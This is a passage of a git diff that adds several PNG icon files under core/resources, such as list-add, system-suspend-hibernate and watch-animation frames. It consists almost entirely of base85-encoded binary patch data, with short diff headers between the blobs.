z5K_0RYOwKw;mUyc)RPBKuF>_8N)v9-d4KlW2bB4j_$`^bqepvvqR^fBt2-1dzvGk; z0mbErD^Y}6!E)}K0;dSe#gJfJ-uN5+ST9M~u`P`ieS`{cIP>k7b&-#=6(YDGPbTOz zL@o5aV$|V)hAXUKff_QLY!`x@UIskHNhU@|O5uuCs`63uMw_nH&3Id0((y&D>cEd}~9gmNBd+(l$QF7%}nbm>4yG>p%v* z*=ahvKV5wJ;d*}-N?*(Z)0>quyRy?CKihqAk4^CP`x=nibedTT^^Qi3wy+TSakcrY zM|Z?cIXPYR#`YVTLCxS^C^j>;L>i)Gi)>nRok4 x_yXbRwa%%)O6|155m%jqa=>Ns?{?>#yjW#=)$Q_nxgXb6Gzw$($khGHzX5or)e8Us literal 0 HcmV?d00001 diff --git a/core/resources/list-add.png b/core/resources/list-add.png new file mode 100644 index 0000000000000000000000000000000000000000..49bbfdec91b4e30fa05dc904e5f72c1a65ffd4d6 GIT binary patch literal 254 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?I3?vN&YJLDI=3*z$5DpHG+YkL80J)q69+AZi z40*dinDN@Zjp9H-$r9IylHmNblJdl&REF~Ma=pyF?Be9af>gcyqV(DCY@~pS_yc@G zT!C~zK!7g{xTao90Sd8{1o;Is2z>dIofi+{2YR|VhGg7(d)bipfB}!IW3WbRfClU5 z<00keC!FwJeMfr#n%gppo|lpqXE8=H0yTg@9q$vjhVx9{mwd0-_L~(V#^AucW7UKb ZFaDer>!%t>F0}v&d%F6$taD0e0sx_lPBs7l literal 0 HcmV?d00001 diff --git a/core/resources/presentation-none.png b/core/resources/presentation-none.png new file mode 100644 index 0000000000000000000000000000000000000000..18b3dd17f0b328c1e9e8e52d9897ccbdf948fbb3 GIT binary patch literal 618 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H1|$#LC7uRSEX7WqAsj$Z!;#Vf2?p zUk71ECym(^Ktah8*NBqf{Irtt#G+J&^73-M%)IR4nnR4Clqej z|DM}l{LLAgz5n05y>s^=&@wov2~+>vDqo&{+feVx-a9cidddIppU>Z4Zu{^3{&n+v z|Cj80n0fth{cSPn|3M75FB|GTX6_6c3odK&!|Jn9Oo6HG#xG{5kF2-+Df{>H?c;U*E;cc9_x`G9{2s3l^o@S~|2_Ze z8QXtM-0+9r+5CCeLXk%pF{&l*wfX|Wt~$(697~x@caM( literal 0 HcmV?d00001 diff --git a/core/resources/system-suspend-hibernate.png b/core/resources/system-suspend-hibernate.png new file mode 100644 index 0000000000000000000000000000000000000000..9030012e74e28354e03af5d7485d85af200e6fdf GIT binary patch literal 6868 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 O0000{XE)7O>#7P|yLqxLiQ zom+uIk|nMYCC>S|xv6<249-QVi6yBi3gww484B*6z5(HleBwYwx}GkMAsXkCSM2*< z`~LTKLqG#ZcvM)cO;lv*O1c^|aNg~V)hXbk)yy=zy2Gq#l>FVdQ I&MBb@0I6h$erfPfTbEi@s4kOF}O2o?kZ7Z9nT%aE8*TofA!ic1ub z)sGdELs%} zL69toh;s!y`^!QhL7pDWmm5Rne}_ZV*BODJiu=8nqI= zN=8mzVa-}aB^A{T8`ab|Y3t~2)-y0P-nz~7$L%|I?lQBmwAyWLgTdO`;qU~Kqcg>g zwrAgd4^OXy-ad!?4~K+CL`KEL9*s|69%CgYC8wmGO+TNRb>ZTb+`Rm&1=oMOQB+(~ zT2@|BS#`7KR_*U~^|$ZbZD{1(Yr5b3p!MOS$4}dzb-sM{y6cag-hsiPw<8}uj*g8_ z@IOsXP0!2<=jJ~zEG{i0B`3(>nUs=nSlZE^@f_iSwcFOU_S)*(Vdn6W06 z>t^D#GKku1PU1|HFWtIcbGvrd^TWGK)aYIBU#`~wRi?i$NVy;WME(Wy-lEF8(JG&; zMfV)EKT+hSc{HUT?Hi}4H$cQ9+Vw0htGuwGboz5nELSH?BkxwDQFI)(GLOYNrJb!Gu&)RnLAPe5=3GQFXastjBe&ban=t{yzPsOX5BTh`X=*=05Jke)$=E0~t^JkE|o%y7%;h{e|3 zItoopja${_l!el+>g1uE6V1YR*9^0_Y&khzOv~cO#GjE9oKJu@aS5B6ghV1kgOhWG z!)ee;43!|mCMHKvLDd!G%`0L@4;jMY{2a!xo4-NHyxCcPwGV-B-mT4>Y*6u_haxg1 z&A4$*j$9SNqQ0|$S@Jxgp6;L2rh2%;C|FfS*~_OuN(MH0g4)n{+AwfK$<%|JM9fe^ zYj@j%Rj$1R8sdSp4uHzgI?G_k2V zek<41>>nRUm)dHc*a4?juL};dIKvO->1_Q>KHE*}oITzyoMI)VCSILA;+`iv$5p+Y zPKK?gtUd8{TyJ#ox#zW%=@ANXD-$kyUF$k)GDdKEBw(<}MoaeoDTO&c6^YXR#tD}% zv^*IHs5W2(IlRSZP`cq-&4?#m=lgpn>S_0tFGxN*I9($d+*q&|0uos@W+SpI0 ziV+_C*5+Vfw{Y;)NBif{^`4QKowo4i+c%(;VcoI3awl9xio$|A7q2Pn6OV2WsyV+f z@JJhzQ7gS8wMBSv1)_8?do8a!UHZ!*8CT5?MqoGt(5rvs7fopI&1K1qKAF_Zdd literal 0 HcmV?d00001 diff --git a/core/resources/watch1.png b/core/resources/watch1.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e5fc112b1579e456a3de83d1f6d7222c324614 GIT binary patch literal 2616 zcmV-83di+{P)@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000SxNklS^cA4E}*=1S4Kn;F@n_xjD>?n$zG_4aQ zj-149`iCo5O8&BHBK40%Dz($5O(d%ir-@WoD2bm+EZ5lByCI0!I2ioE=CQEAdSQ3i z_dM>*?A&|LIsIb>46ak#>XE+ET;0*{`#HaJ?>XNq_yl9$zJ2L>-F`qRvsNk7qqWXx zt;Uto6H1x!Z+zo(|Ncqp0f>+K!%u#4*clp9|E0D1VjSzV>)N5?*wXV{OG+WC)tai; zn1+4hch|Z97r>KG9&@|8>W^xz?@gx@y1&22>FX;124lb&1Ax{B ztu@9N=I6^CJ$lMaP0foaipHwdr9a)d^PbU93@|+W`f4FK0%W&r*&wso6vn_}sluyo z&rq#})ax-}q)GaaPFQSQ-9c|p9w`O&ddR+ghbWf=Gchr~^9Mipn;(8`fZ^f8w@PVV z&SX+%%a%W~jnSMLpJnf%Mc$coNG6jEcG(Q%B}<`VG7wD6$HYrDdYw709~69Q^AN7< zaQygLjvhVD^z_s(9(w43ZvoK<{j4i5UVH70YvWiST)DDGY}&NOYBZYsYWOrie$isn z+B~1zoMH2j%f^*1@10)Y?1@GG;_d-9uTOCO`Yd*)izi-pxHxv2&WvHzU@y5`hS}Nb zbwfiNdX5}9FapFM3UK)F;am`y(OfPqH*Q>GU!1M*^A{&LGTp^JpUKdZv&iNgmM>4y zk@v{tJbL?6bgxKZyB2Q3W?8{w`^`BjZh>cBxIog(vvzeao@di&uo=X}*|R5)0{VXe z+#yJXC7_R1 z8^pcIq;CMm&X*{MDU<>?j2;-J%7#W%ogb@Ta zgX=hy%P~=Dwr zPPTvkOZcfAv1+aVC4ffLaA8()VJ1dnXvhpf(7^LNj3L>636@D?^nmX>fFTSOmNbmL zJ5TXKjisP(q@Pl|L`5~Vc8fMW|B8*EE( ze(YVAXC0c&CU5NDL(tGDZHQusVvqt-uD}A87HW7&8=19>mSoEp){-C0(FiqCLedwc5`t7hl1>PA{MpwzaNq#DcI~28De<4*{}!GVkxmFw zz98vI622tiNp87w9Yfa@@N^B!vZz+;w4NLQ9I2F=sMYG)7)aQc*4W_Mf`r>DlJq4h zUy$}&5Zga{JH{9`-1x_=x%Ng5Joig>{pD@MwK8UPDy4rP1a$+@TS(EB3~_|PcUwi0UR%Cwb-)*7QVsweot=E|-yY-kyYA)m(Zf9W zl}|G_ah!yAwYh5xY*oh?!^}+CG@Fg-Ho%gMWBxUcV_B&L4D@xfDjOg%c+UF;5^ac7 zy8{VNw)SyLlJ7|K{eSr>_y6rK%JZ}A{OWez{oNjXSKzq<&jArklTS&aNU^X`)fX>b z7-<7EX`14|M zj`8s+RuA?tn69xjIe~2n?6#pTTIQYvUqYhY5l4b8TlZ}N`DJ;cTEOT_&ok7&jAnC* zv9Sw!diuR5+vW{m;&L7Uc;SU-rf$A@yIZX`wl7`*CrAks|I_qbU}}8`K>W%pBO~c_x|+#!?-(5&M@oy{-cHe#&(M)gA%R-8PNh`FcP%n0 zpIkPHW7{k)RycO-oSL0o6qA$Ze(}T;Kl*Wd=5^pTAiUD-|N1mb0H6Byx4(CPU*D=b zjWJ#-%)R=Xqs0000@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000S^NkljBt?p%NXe3@OH4UVEjWmBaU44^ z@(`zS1*3M+1jvH}2n~uv1zO~x37QB7io7I9n*<1)II`tdfnmw9Buj~7*{OAdB-ScL zQj{oB;+?zP`<`=VrVqQMWWz{pbbt@%?3r)A|8KszuHYk-mtQ{BVp;s1)@pkc(E~cI zlp0pbjA^aTKKbOM2R}+Y0P%l096b28pH9mcv^JktO2uv44qVrkuIt#gZBZ&!C>G1A zT&@eP6+sZ4uh*l$dght0jQ_s?4jw${W-@)hP)a|UNO-ENYqitUvj!my#(*&f0IdyL zYm6}zi)Buqe%DM-FN!b>ChGOledzPI=L9~$8J@pHSR z)TdUhN-;RN$x=#ls+{S#oWF<`TYL<-~L-5dcU4^_m4N}>I4 zn>KClK7IO)WABGp0XTZ}XaeHb+S*diz(Ai^%#}EBY=VpPS@wLoh2rdWM*im<+jjKQ zwYHU1n@2}ig7)qNwrk<~HmkB8pZs`=ve(XwM{bevimdO+5RZEli_y+_Je9k0<>DDY zFYDUNFP@h@Af<>64sMc_YQUkBH^^BXJanIfHj2Gpe+;P8v;HMoGoL2Y8K)GK2+i;>26MAb)c2y_==y zIUGJY#_8EM?%U)M^KH6&TWIgdaQLMIL`t!3=lvv7X_UDm9vO%7fIa|u^yu3UYHjS*t6Q0#E%5u%IBPN% zmTQ3}sRxE?T@yrxfloZh7r*)>@4Ru6xBvJD7MBXtHPp4C78+_n17H~`Ap>l%RJ>pAj)kJ8{KU21`$8Z-h|>J5-@{NoSse4iKo z{l|=sj8F{>)w-cpZ$4KbAPAvcF~l63Le-#@qO&tAeLuMcNCCbCv)S_;X$%y~5xy_b z2$Yf3n&Q>^9ZP1qdHm~p86SR^y^nu^pY8u==I8S(pet=^nwxVGL)QW{hMIAyRBCvh z3*a{wU)DCptn+;rFa)8(wP5tp0$LlodRtH$LJ5&-q|_L=H95;8k37P|4?oPleg8oJ zjtALt|86Rwpj0IdllxHZ1S z;#{3dU6U&)W^$UPvL;dnA;69K7-PugayVX$QcaUDE2=evQU=?CxF?8vf`#!#RHY8m zAqWDL(rCSM1bDXA=0>Gb>jfiXj>eLLkALYN5=oaz-4JsGz6-7+aBP8N!I!_bm+wCP zd4`6s@;Cc_$mZ?aNF*G>$Pk2JhXN@LLKt@M8K7F%i0jvIU59+WgfVJ)Cv;^L>8s^( zH8KV~$6#3o9T{8)d{^Rol6Xv#hzXK0LBf|L;}-K%H|gCpz+deCEM05YkcbHqv4(Fv zCh%Q>?+IdV!|bSxl#)WBh*COe0z@{L*O!(`PXTnbr&xWn4#FemzBh>H3OuKgftueq zLM&-W_!h~SAXI`NG*}i$dFQav29$y@ETWXl!a~8+>(!ZNbs&Ra=EX1!WT{kTU3Z4Q z))Eqp=iH(9o8y^iW+3i16^zDrC5dK+;<5Mkx&aO3CrNk^hKfR=tZ(1Geyj;llTSSH zgi^}fxO{mW&vWTbYaAk6yV3Y=fS4`tBzRV14oPE(S&eToyW!(6i#rW-Z9#49EbXh3 zlu8w}*7CL2UVOC)Fx%XU#lDG&X%hq?+qZPn=S~rn0~|---WAA|;7Mpr#`)4$_poDd zkeDU$B)Ae>c}Ki4X(5=Oq{UVUAs8FGsY<2%1*IwqC<5h`8_{#m9iHy!$gbYCYr7mB zyTzqjn(WpMq>~o$m?X9$0*-)Y641>AXlO+fO#>OVi%*^C(o8kd*edRs?aOB8;Uf;FrGx1!m{9s2% zR;=l0BUoBwac+Uu_AIUxD;aPlyz}NXe>yeI$L?K)S)T1Q?CPaqhK|2M-`WhuXoiNa z>Pn?@0xY}-0O0l451)A8fzJ(2PcLq6X-SIit}IRzaPibxgcPJRZ8%ck zNT`)UY)i1Nucdi0F$`ZC;pBh(4qYtJk!hh;3m6)@s)L|j`Qk{n47!#^7GF>`!8V_Xdnds z3#i;J_UHbZxxoG3{N_JBvv%!ICpo?KMcTfeIKxC^X7ZI9)0wQzfPsn+l-MZt(B{_mP(l@ zic}DWwcNF9qrW|JFgSS~iO8Cb^$58L}o1l**t*43YL{ICFb tmsTJP#ApnYM@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000SSNkl;b;o~upZj;4`^|H+ov|G|w!_u+gq9v~u3S<=$kI+y+bowb(sUR&@1?C8;>xq99Hdt=P5I9B6A(3K>~v{L3m zk|b|`_Ol;*;e*TvAl~nV0|(CLIy$N^8e{e)iORUH6MCL)d7f(vA*fdCRI5$hY_?EJ znJ7x$bR7TD&wcLU#Xkt(z<~p9clXBcYOVh&lkubB;XZF{YzQzI1I8Etv^Hq1F~(4< z)j4tEoVsyi*$Tt(e7#=#vnQVT!t@6QIDGizm}RM7fhB)xy67}7bDKSdx_;+OAHTm zGBGhKY}*pGTJq4YUH9Md)?0^v1|+{1;Egxl*`l>RF*-V6?b>yRtT$Tx_{c@R_oifg zw2wczr@+LZ&2YEHp_h;I`r)(u!x!&m=S0Arn{$xw;f0ePm(QQ4yTfARXg>o3y<%~3 zW%uUIcMhIBdF*u{dQX7k$B*Ze#GdKyF4#MEY?2F0RsQ|ZRnC@r`15^v20JbC1&99r zfZjfze|`F^9DMovJp742W@OVCZeY{f=dt(RJS*-1Fa7)qzA3YLtcOg-74^EA^t?>z z!i6)Z0JW+sR|iQF{HN<${@r(Pv8uHeFTHV{s@u;;CVebNGBlQ@yFWmB7NLP48v%2) zl7z%SVn72%2qw2@`0z(3dHJ;D)ak2i*wD|=P_NmuXaBzd_pPrz3Gn8dzucjed2sjc zEz%gn;kRZvvCzr3Q5)N{=pV^qY)Pb9b79#jxQ1A#07?5AE0`Fu+5X|X`0wc|3pY!A z=tC1y2;o2W*jN4z82=4`BvH>43K^ZxXE;5zz<<1x;enkVMoPK|GiV`*+d^U6vC`}* zB$0u*9fdeCsVmqq?lRwXFUL+@C5|=QwvEfd!Ld&RTUOIA0gTai-*Lx?rM2e7`4vWn zd_d6A8>GSpqE&AL2$=#ThBdfI8N%2Q#bym;_e8*%`WTn5EHOOXk1@h}@WD_15wH+*EYrsd!7pzS}lbwVdmW;1{fU4qBKMzEvh5|WehKV`)Rgr8s#6q_&85J z^&~qU_!!wjH_gycZyBl$O}U{7TZX0SC7gms;$&zvT4XXVN(rY8kg=80j+6ppKnR1; zaCN#!M{hvBFN11mj0VRRI5yappi!;hIu7-EomR8K{Ea30tWM%2je?Yrbp;ksU8vCI zc7kscMNM4S!5Fo=4*0fG`dY2l7zZN)S0F98|5Mw@$C@Jc;j$6v6@57TC66WNe7?t(#2l-Ooop`3U_3JtT=CPDEO$mO+Sg zxif$51Q}0|^#$2L5;$oJ1%|*8WPM527i9d~z_+2nl&;d5wTWXzsZ`ZBZ(cjv z258Cs`}Zftm@89Lvt+XY!}$nLB)C@k@p=H?7I+fe_8uyX#*^Sl@a^=SU@c{-yS5;@ ze45_w0xK(Zk|ef{9C_i#ZGgpgu=GF8&d!@Cin(XkMn;@@!g_?`q{X*7k=qvQ%4K=@ z6Q5$+_8s`L4JE;qx5d+??w-(A=IC6;b!2;!SmFej# z=HS5}e12|j>K1SoxV%;_^?LZojT=kM&d#%C(-3{KNaNZSY)fFb1#OXvdlGyJK|3Oj z1Y4%hZ2`6oNvpy1p`S1|P#_FLW@hGevAB4sE#3gGz`Bm;;K2iPd-pyV6pOXJ0|Px` z)5akh%S%*B6*~HQaHUv_fGgn_ug`Pr=sc76^kCYNP^5n0SLgVjpS{ZXa1Tl;&YZcZ zTdl^8XP062X3Cr9?|*?-^se0fWukQJjN{WvP-^joJ;O3~fhg<}aE z2`1K9QZT+Lk7}o3cIFDNK7Wv;RAjKPiztdXbLOIsqNw$wAARkw<2cs9Jn-vP&G%}{ z-6x;?w;v1*jecf)e8}8&*Ji1d=KA$TZY&g$j*aI!G09Dm6-_s##tx zYo(MZmrEyKeDOP9tJTV@EqEC?@!R6>2LNfywi%e%xpQ*ELk~Ur`CKl)Lu)d|7)L21 zv`&&F(P0#Yw=P|pdg+x{o_$RzwR#Ftz$IXYb*=aZ0a!H~*b0ob$M0tvxC%`19;c!I v55RgW0DV9P2mqfnv?0&}7J=gbb+Z2jpX;6}?9S2h00000NkvXXu0mjflz{Bc literal 0 HcmV?d00001 diff --git a/core/resources/watch12.png b/core/resources/watch12.png new file mode 100644 index 0000000000000000000000000000000000000000..d3b37cc42401ec18ad1ad6ce3020064e9828cf45 GIT binary patch literal 2630 zcmV-M3c2-(P)@2HQ*UHxaBpO3pY$&$0000EbVXQnL3MO! zZ*l-tZfkCDcW#U!4DtW~03Lc&Sad{Xb7OL8aCB*JZU6vyoJ&+F$V@INElLFd5MKj+ z>hujP000S43q6~}+~t@CEa_IR0iNgO+?NkX7C2~`Lol!~$l5EKd} z2wD&UArKNMaO`xG^0!draIJJ{Fb{pH+8P9n3nYY|~ z`7mRr2^F+(q@%01%=`b(Isdu$9KnmQg9rbSh@#?WrPM=8=|Qb^Dh#6urSvSQ$=hyw z!?#|{_W;Cyd*QzOPTFhMME6Un-=dUkaU3gjUB`A^8`HEXmn%A-uSAtf&6H9KDdj_k z5xw{J+i%JKUj($)Vr1m+-v{-Hc-)Qp`qJ*eKp&vd8no5`D5X(Kp|z$`sd3`O88tVT z6TV*?_5JcYKKrcHw)U#Rf2KV9O9Ob74U)xwHagO*mCo}M@zoi2%1hn1_7 ztXP@AbWF0@Ii7y4|Ecb$EelRws<_bFg||z)N?bjOkmHR zj~=jXbKUmso6Sq=VeklXTAN?yw{;;2IyKdyVoj0O{O%Un^iAb|` zoy&N61=F)x`ue&6Vcm4oyLJGB0LGz1CvKGzqr1DE%b7e!&s+3$nOLrc)B-=y)O8m4euJ?TLPE5<Hd;MZz^v7$}S@1SD8y!wmx# z=BD||-dmYCdm6`$ar1jVOroQYdZ3pH)C0|QM)K_C2&tedTBuZNB$FOm<1{tcWhkZ6 zu4@a>RBH;$)QmrwVS1`WJcvHN>xSnT!vt=LS%WA%QfQh7)t4-zrSZ_jcZvJT7%RQB{j2CMRE%P z6_VSsJoDzn`YbYo7w%Qx6sqKf+*62k!T3j)D5B1 zI0Cg6gta_|;ZQ1-ky3@t68IJvj}!`(cK}9DXM%J*z!WYqN8mXE&utQL1g_o4K;3JU z(6&ullP<}aAe4e2)R;}7E}7Dxq(+4WAWbGy)Im^RXg;nP&pcE9k?#j)wOV8K%1+j{ z`J$ei 